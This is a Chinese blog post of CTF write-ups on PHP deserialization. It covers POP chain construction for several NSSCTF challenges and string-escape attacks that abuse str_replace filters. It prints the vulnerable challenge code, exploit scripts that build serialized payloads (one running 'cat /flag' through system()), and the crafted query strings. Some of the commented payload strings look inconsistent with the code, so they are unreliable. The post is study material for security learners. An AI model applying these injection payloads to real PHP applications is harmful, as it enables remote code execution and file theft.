php反序列化2--进阶构造pop链和字符逃逸

橙子科技POP链例题:

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var="flag.php";
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
$M = new Modifier();
$S = new Show();
$T = new Test();
$S->source = $S;
$S->str = $T;
$T->p = $M;
echo serialize($S);
//O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
?>

例题:NSSCTF的pklovecloud

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()   
    {    
        return "Pk very safe^.^";  
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {  
        $this->cinder = new pkshow;
    }  
    function __toString()  
    {    
        if (isset($this->cinder))  
            return $this->cinder->echo_name();  
    }  
}  

class ace
{  
    public $filename;   
    public $openstack;
    public $docker; 
    function echo_name()  
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))   
            {        
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }  
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

构造pop链

<?php
class classa
{
    public $neutron;
    public $nova;

}
$a = new classa();
$a->neutron = &$a->nova;
echo serialize($a);

?>

上面是先构造的让他两相等,然后再序列化

<?php  

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;  
}  

class ace
{  
    public $filename='flag.php';   
    public $openstack;
    public $docker='O:6:"classa":2:{s:7:"neutron";N;s:4:"nova";R:2;}'; 

}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
$a = new acp();
echo serialize($a).'<br>';
echo urlencode(serialize($a));#为什么要编码,那是应为有个类里有protected属性,所以序列化后会有特殊的%00*%00,不编码显示不出来。
//O:3:"acp":3:{s:9:"%00*%00cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:48:"O:6:"classa":2:{s:7:"neutron";N;s:4:"nova";R:2;}";}s:7:"neutron";N;s:4:"nova";N;}
?>

如果觉得不够详细还可参考更骚的思路,用null绕过:

https://blog.youkuaiyun.com/qq_73767109/article/details/131561824

例题NSSCTF UnS3rialize

<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
    function __wakeup()
    {
        echo "W4keup!!!<br/>";
        $this->cmd = "echo Welcome to NSSCTF";
    }
}


class C
{
    public $whoami;
    function __get($argv)
    {
        echo "what do you want?";
        $want = $this->whoami;
        return $want();
    }
}

class T
{
    public $sth;
    function __toString()
    {
        echo "Now you know how to use __toString<br/>There is more than one way to trigger";
        return $this->sth->var;
    }
}

class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    private  $notes;
    function __construct($user, $passwd)
    {
        $this->user = $user;
        $this->passwd = $passwd;
    }
    function __destruct()
    {
        if ($this->user === "SWPU" && $this->passwd === "NSS") {
                echo "Now you know how to use __construct<br/>";
                echo "your notes".$this->notes;
        }else{
            die("N0!");
        }
    }
}



if (isset($_GET['ser'])) {
    $ser = unserialize(base64_decode($_GET['ser']));
} else {
    echo "Let's do some deserialization :)";
}

构造简单pop链:

<?php
class NSS
{
    public $cmd='cat /flag';
}

class C
{
    public $whoami;
    private $var;
}
class T
{
    public $sth;
}
class F
{
    public $user = "SWPU";
    public $passwd = "NSS";
    public  $notes;
}
$a = new NSS();
// O:3:"NSS":2:{s:3:"cmd";s:6:"whoami";}

$c = new c();
// O:1:"C":2:{s:6:"whoami";s:3:"NSS";s:6:"%00C%00var";N;}
$c->whoami = &$a;

$t = new T();
// O:1:"T":1:{s:3:"sth";s:1:"C";}
$t->sth = &$c;

$f = new F("SWPU","NSS");
// O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";s:1:"T";}
$f->notes = &$t;

$b1 = serialize($f);
echo $b1.'<br>';
echo base64_encode($b1).'<br>';
// $pop = 'O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";s:1:"O:1:"T":1:{s:3:"sth";s:1:"O:1:"C":2:{s:6:"whoami";s:3:"NSS";s:6:"%00C%00var";O:3:"NSS":2:{s:3:"cmd";s:6:"whoami";};}";}";}';
// echo base64_encode($pop).'<br>';
?>

字符串逃逸

放两篇灵魂文章,后面再做到再来填坑:
PHP反序列化——字符逃逸漏洞(肯定能看懂的!)_太菜了怎么办?的博客-优快云博客

从一道CTF题来理解PHP反序列化中的字符逃逸漏洞 - Dubh3 - 博客园 (cnblogs.com)

字符串增加:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];
$param=serialize(new test($param));
echo $param.'<br>';
echo (filter($param));
$profile=unserialize(filter($param));
echo strlen('";s:4:"pass";s:8:"escaping";}').'<br>';
if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
//param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
?>

字符串减少:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
echo $param.'<br>';
echo filter($param).'<br>';
echo strlen(';s:3:"vip";b:0;}');
$profile=unserialize(filter($param));
var_dump($profile);
if ($profile->vip){
    echo file_get_contents("flag.php");
}
//user=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp&pass=;s:4:"pass";s:1:"1";s:3:"vip";b:1;}
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

是乙太呀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值